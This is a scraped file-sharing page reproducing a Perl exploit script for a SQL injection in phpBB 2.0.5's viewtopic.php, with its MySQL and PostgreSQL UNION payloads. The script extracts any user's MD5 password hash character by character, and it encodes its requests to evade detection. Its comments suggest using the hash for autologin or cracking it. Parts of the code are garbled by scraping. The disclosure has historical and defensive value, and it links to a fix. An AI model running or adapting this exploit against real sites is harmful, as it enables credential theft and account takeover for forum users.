Phpbb 2.0.5 Sql Injection Password

Chia sẻ: Ai Dieu | Ngày: | Loại File: DOC | Số trang:4

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There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topic_id # which gets passed directly to sql server in query. Attacker could pass a special sql string which # can used to see md5 password hash for any user (!) for phpBB. This pass can be later used with

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Nội dung Text: Phpbb 2.0.5 Sql Injection Password

Phpbb 2.0.5 Sql Injection Password, disclosure Exploit trang này đã được đọc lần #!/usr/bin/perl w # # # phpBB password disclosure vuln. # rick patel # # There is a sql injection vuln which exists in /viewtopic.php file. The variable is $topic_id # which gets passed directly to sql server in query. Attacker could pass a special sql string which # can used to see md5 password hash for any user (!) for phpBB. This pass can be later used with # autologin or cracked using john. # # Details: # # this is checking done for $topic_id in viewtopic.php: # # if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) ) # { # $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]); # } # else if ( isset($HTTP_GET_VARS['topic']) ) # { # $topic_id = intval($HTTP_GET_VARS['topic']); # } # # ok... no else statement at end # now if GET[view]=newest and GET[sid] is set, this query gets executed: # # $sql = "SELECT p.post_id # FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u # WHERE s.session_id = '$session_id' # AND u.user_id = s.session_user_id # AND p.topic_id = $topic_id # AND p.post_time >= u.user_lastvisit # ORDER BY p.post_time ASC # LIMIT 1"; # # $topic_id gets passed directy to query. So how can we use this to do something important? Well
# I decided to use union and create a second query will get us something useful. There were couple of # problems i ran into. first, phpBB only cares about the first row returned. second, the select for first # query is p.post_id which is int, so int becomes the type returned for any other query in union. third, # there is rest of junk at end " AND p.post_time >= ..." We tell mysql to ignore that by placing /* at end # of our injected query. So what query can we make that returns only int? # this one => select ord(substring(user_password,$index,1)) from phpbb_users where user_id = $uid # Then all we have to do is query 32 times which $index from 132 and we get ord value of all chars of # md5 hash password. # # I have only tested this with mysql 4 and pgsql . Mysql 3.x does not support unions so you would have to tweak # the query to do anything useful. # # This script is for educational purpose only. Please dont use it to do anything else. # # To Fix this bug : http://www.phpbb.com/phpBB/viewtopic.php?t=112052 use IO::Socket; $remote = shift || 'localhost'; $view_topic = shift || '/phpBB2/viewtopic.php'; $uid = shift || 2; $port = 80; $dbtype = 'mysql4'; # mysql4 or pgsql print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n"; $p = ""; for($index=1; $indexnew(PeerAddr => $remote, PeerPort => $port, Proto => "tcp", Type => SOCK_STREAM)
or die "Couldnt connect to $remote:$port : $@\n"; $str = "GET $view_topic" . "?sid=1&topic_id=1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n"; print $socket $str; print $socket "Cookie: phpBB2mysql_sid=1\n"; # replace this for pgsql or remove it print $socket "Host: $remote\n\n"; while ($answer = ) { if ($answer =~ /Location:.*\x23(\d+)/) # Matches the Location: viewtopic.php?p=# { $p .= chr ($1); } } close($socket); } print "\nMD5 Hash for uid $uid is $p\n"; # random encode str. helps avoid detection sub random_encode { $str = shift; $ret = ""; for($i=0; $i
sub make_dbsql { if ($dbtype eq 'mysql4') { return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ; } elsif ($dbtype eq 'pgsql') { return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false"; } else { return ""; } }